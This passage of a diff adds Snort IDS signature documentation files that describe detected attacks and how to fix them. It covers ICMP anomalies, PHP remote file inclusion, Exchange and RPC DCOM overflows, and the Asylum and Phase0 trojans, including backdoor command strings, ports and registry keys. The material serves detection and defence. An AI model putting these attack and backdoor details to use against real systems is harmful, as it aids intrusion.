+Snort documentation contributed by Kevin Peuhkurinen
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+iPlanet Knowledge Base Article 4302:
+http://knowledgebase.iplanet.com/ikb/kb/articles/4302.html 
+
+iPlanet Knowledge Base Article 7761:
+http://knowledgebase.iplanet.com/ikb/kb/articles/7761.html 
+
+--
--- snort-2.7.0.orig/doc/signatures/462.txt
+++ snort-2.7.0/doc/signatures/462.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+462
+
+--
+
+Summary:
+This event is generated when an ICMP Type 7 datagram with an undefined ICMP Code is detected on the network. 
+
+--
+
+Impact:
+ICMP Type 7 datagrams are not currently used by any known devices.
+
+--
+
+Detailed Information:
+ICMP Type 7 is not defined for use and is not expected network activity.  Any ICMP datagram with an undefined ICMP Code should be investigated.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 7 datagrams
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000128.txt
+++ snort-2.7.0/doc/signatures/100000128.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+100000128
+
+-- 
+Summary: 
+This event is generated when an attempt is made to link to an external script 
+as part of the Stadtaus.com PHP Form Mail program.
+
+-- 
+
+Impact: 
+The script being included will be run in the same security context as the 
+vulnerable program, enabling a variety of web-based attacks.
+
+--
+Detailed Information:
+The Stadtaus.com PHP Form Mail system's download_center_lite.inc.php module, 
+when including other scripts by way of its script_root parameter, fails to 
+validate the location of these scripts, and thus allows attackers to include 
+any malicious script anywhere on the web. The included script will be executed 
+with the same permissions and in the same security context at the vulnerable 
+program itself, thus allowing a range of attacks.
+
+--
+Affected Systems:
+Stadtaus.com PHP Form Mail Script 2.3
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, there are no vendor-supplied patches or workarounds. However, if it 
+is possible to globally disable PHP's 'allow_url_fopen' and 'register_globals' 
+directives in your environment, doing so may disable this vulnerability. 
+However, turning off these directives should be tested in a non-production 
+environment, in case doing so breaks other scripts on your system.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1081.txt
+++ snort-2.7.0/doc/signatures/1081.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1081
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2253.txt
+++ snort-2.7.0/doc/signatures/2253.txt
@@ -0,0 +1,73 @@
+Rule:  
+
+--
+Sid:
+2253
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Exchange Server.
+
+--
+Impact:
+Serious. Possible execution of arbitrary code and Denial of Service
+(DoS).
+
+--
+Detailed Information:
+A vulnerability exists in versions of Microsoft Exchange Server such
+that it is possible for an attacker to execute arbitrary code or cause a
+DoS condition on the server without the need for prior authentication as
+a valid user.
+
+It is possible for an attacker to connect to the Exchange server on port
+25 and send an extended verb request to the server that will cause a
+large amount of memory to be allocated. In Exchange Server 5.5 this may
+cause a DoS, whilst in Exchange Server 2000 this same condition could
+present the attacker with an opportunity to execute arbitrary code.
+
+--
+Affected Systems:
+	MIcrosoft Exchange Server 5.5
+	Microsoft Exchange Server 2000
+
+--
+Attack Scenarios:
+The attacker can connect to port 25 of the server and send a specially
+crafted verb request.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft Corp.
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-046.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0714
+
+--
--- snort-2.7.0.orig/doc/signatures/480.txt
+++ snort-2.7.0/doc/signatures/480.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+480
+
+--
+Summary:
+This event is generated when a benevolent ping used by SpeedEra.net to
+find the closest cache to a host is detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+After visiting certain speedera.net sites, several pings will be
+received by the host. These pings are sent so that speedera can find the
+closest cache to the host. This rule is intended to distinguish the
+usually benevolent speedera pings from normal, possibly malevolent pings.
+
+--
+Affected Systems:
+	All systems
+ 
+--
+Attack Scenarios:
+This is not really an attack.  However an attacker could disguise their
+pings as speedera pings, but this is unlikely.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+None required.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Drew Hintz ( http://guh.nu )
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Linux Security:
+http://www.linuxsecurity.com/articles/firewalls_article-2064.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2427.txt
+++ snort-2.7.0/doc/signatures/2427.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2427
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000139.txt
+++ snort-2.7.0/doc/signatures/100000139.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+100000139
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Microsoft Internet Information Server (IIS).
+
+-- 
+Impact: 
+Serious. Information Disclosure, application source code may be disclosed.
+
+--
+Detailed Information:
+A programming error in an error page for Microsoft IIS may result in the 
+discloure of asp code disclosure on an affected system.
+
+By making a request to a server using a modified SERVER_NAME variable, the 
+underlying asp code is displayed in the error page returned to the requestor if 
+the asp page generates an error.
+
+--
+Affected Systems:
+Microsoft IIS 6.0 and prior
+
+--
+Attack Scenarios: 
+An attacker can make a request to the server and modify the SERVER_NAME 
+variable to be either localhost or 127.0.0.1, if the page returns an error the 
+asp code is revealed.
+
+-- 
+Ease of Attack: 
+Simple. Exploit code exists.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3264.txt
+++ snort-2.7.0/doc/signatures/3264.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3264
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3014.txt
+++ snort-2.7.0/doc/signatures/3014.txt
@@ -0,0 +1,81 @@
+Rule: 
+
+--
+Sid: 
+3014
+
+-- 
+Summary: 
+This event is generated when a victim host attempts to send a connection
+confirmation to an attacker using the Asylum 0.1 trojan.
+
+-- 
+Impact: 
+If successful, the attacker would gain unauthorized access to your system, enabling him to upload and execute files on your
+computer and reboot it at will, resulting in a full compromise of the victim's computer. 
+
+--
+Detailed Information:
+When executed, Asylum 0.1 opens up its assigned port (default is 23432) for communication with the attacker.
+Asylum 0.1 has four functions: Upload File, Open File, Reboot Computer, and Remove Server. 
+
+Upload File: Look for traffic on port 23432 containing UPL followed by a file location.
+Open File: Look for traffic on port 23432 containing RUN followed by a file location.
+Reboot: Look for the string "RBT" on port 23432.
+Remove Server: Look for the string "DIE" on port 23432.
+
+--
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address, port number (which 
+is assigned to the server program by the attacker: default is 23432), and presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action:
+Delete the System Administration key (if found) in 
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run or
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices or
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
+
+Open the system.ini and (if found) replace shell=Explore.exe win32cmp.exe to shell=explore.exe
+
+Open the win.ini and (if found) delete load=c:\windows\wincmp32.exe or run=c:\windows\wincmp32.exe
+
+Find and delete the Asylum 0.1 trojan server file, usually called wincmp32.exe.
+
+Keep your anti-virus programs updated with the latest definitions.
+
+--
+Contributors:
+Original Rule Writer: Ricky Macatee <rmacatee@sourcefire.com> 
+Sourcefire Research Team
+
+-- 
+Additional References:
+http://www.pestpatrol.com/PestInfo/A/Asylum.asp
+http://www.dark-e.com/archive/trojans/asylum/01/index.shtml
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2796.txt
+++ snort-2.7.0/doc/signatures/2796.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2796
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_mview_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2373.txt
+++ snort-2.7.0/doc/signatures/2373.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2373
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with Mollensoft Hyperion FTP/Encladus Server Suite XMKD 
+command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+CesarFTPD offers FTP servers for Windows hosts. A vulnerability exists 
+with the XMKD command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the XMKD 
+command.
+
+--
+Affected Systems:
+	Mollensoft Software Enceladus Server Suite 3.9.11
+	Mollensoft Software Hyperion FTP Server 3.5.2
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the XMKD 
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000723.txt
+++ snort-2.7.0/doc/signatures/100000723.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000723
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "permissions.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "permissions.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/208.txt
+++ snort-2.7.0/doc/signatures/208.txt
@@ -0,0 +1,89 @@
+Rule:
+
+--
+Sid:
+208
+
+--
+Summary:
+Phase0 is a Trojan Horse offering the attacker control of the victim 
+host. This event is generated when the victim server replies to an 
+attackers client connection request.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to. This Trojan
+also has the ability to delete data, steal passwords and disable the
+machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+
+The Trojan changes system registry settings to add the PhaseZero server
+to programs normally started on boot. Due to the nature of this Trojan
+it is unlikely that the attacker's client IP address has been spoofed.
+
+The default name of the server application is MsgServ.
+
+Server Port: 555 although this can be changed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added:
+
+	MsgServ
+
+Delete the server program msgsvr32.exe and/or ServerS.exe.
+
+A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Dark-e
+http://www.dark-e.com/archive/trojans/phase/
+
+--
--- snort-2.7.0.orig/doc/signatures/1732.txt
+++ snort-2.7.0/doc/signatures/1732.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1732
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rwalld is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rwalld is using.  Attackers can also learn what versions of the rwalld protocol are accepted by rwalld. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rwalld run.  The rwalld RPC service is used by UNIX hosts to send a message to current users on the host.  There is a format string vulnerability associated with rwalld error messages, allowing an attacker to execute abitrary code with the privileges of rwalld, possibly root. According to CERT, this is both a local and remote exploit, but the remote exploit is more difficult to perform.
+
+--
+Affected Systems:
+Sun Solaris 2.5.1, 2.6, 7, and 8
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rwalld runs.  This may be a precursor to an attack to exploit the rwalld format string vulnerability.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rwalld, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rwalld, not probes of the rwalld service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rwalld service itself. An attacker may attempt to go directly to the rwalld port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-10.html
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2479.txt
+++ snort-2.7.0/doc/signatures/2479.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2479
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the winreg
+service.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to bind to the RPC
+service for winreg.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.7.0.orig/doc/signatures/720.txt
+++ snort-2.7.0/doc/signatures/720.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+720
+
+--
+Summary:
+This event is generated when email is received from a Post Office Protocol (POP) server that may contain an attachment with the Snow White worm.
+
+--
+Impact:
+Possible system compromise.  The worm can alter system files and registry key settings. 
+
+--
+Detailed Information:
+The Snow White worm, also known as Hybris, may contain text with a unique misspelling of "Suddlently".  This worm attempts to write to the wsock32.dll library.  It may also attempt to alter registry key settings.
+
+--
+Affected Systems:
+Microsoft Win32 systems.
+
+--
+Attack Scenarios:
+The worm is spread by e-mail and attempts to infect other hosts when a user opens the e-mail attachment. 
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event is triggered when an e-mail is received from a POP server that contains the misspelled word "Suddlently".
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Make sure that the suspected infected host has the most current anti-virus software.  
+
+Run a virus scan on the suspected infected host.
+
+--
+Contributors:
+Original rule writer unknown.
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+F-Secure:
+http://www.f-secure.com/v-descs/hybris.shtml
+
+--
--- snort-2.7.0.orig/doc/signatures/2318.txt
+++ snort-2.7.0/doc/signatures/2318.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+2318
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Concurrent Versions System (CVS).
+
+--
+Impact:
+Serious. Manipulation of the host file system is possible.
+
+--
+Detailed Information:
+Concurrent Versions System (CVS) is used to track the history of source
+code files when developing software.
+
+Some versions of CVS contain a vulnerability that may allow an attacker
+to create directories or files in the host filesystem external to the
+cvsroot. This is achieved via a malformed module request.
+
+--
+Affected Systems:
+	CVS versions prior to 1.11.10
+
+--
+Attack Scenarios:
+An attacker may send a specially crafted request to a cvs server and
+create files and directories of their choosing in the hosts root
+filesystem. The attacker may then access these files at will to further
+compromise the system.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+If compression is being used in data communications between the CVS
+server and clients, this rule will not generate an event.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0977
+
+--
--- snort-2.7.0.orig/doc/signatures/833.txt
+++ snort-2.7.0/doc/signatures/833.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+833
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2832.txt
+++ snort-2.7.0/doc/signatures/2832.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2832
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure do_deferred_repcat_admin
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/345.txt
+++ snort-2.7.0/doc/signatures/345.txt
@@ -0,0 +1,60 @@
+SID:
+345
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploits exist
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/631.txt
+++ snort-2.7.0/doc/signatures/631.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+631
+
+--
+Summary:
+This event is generated when an external user scans an internal SMTP
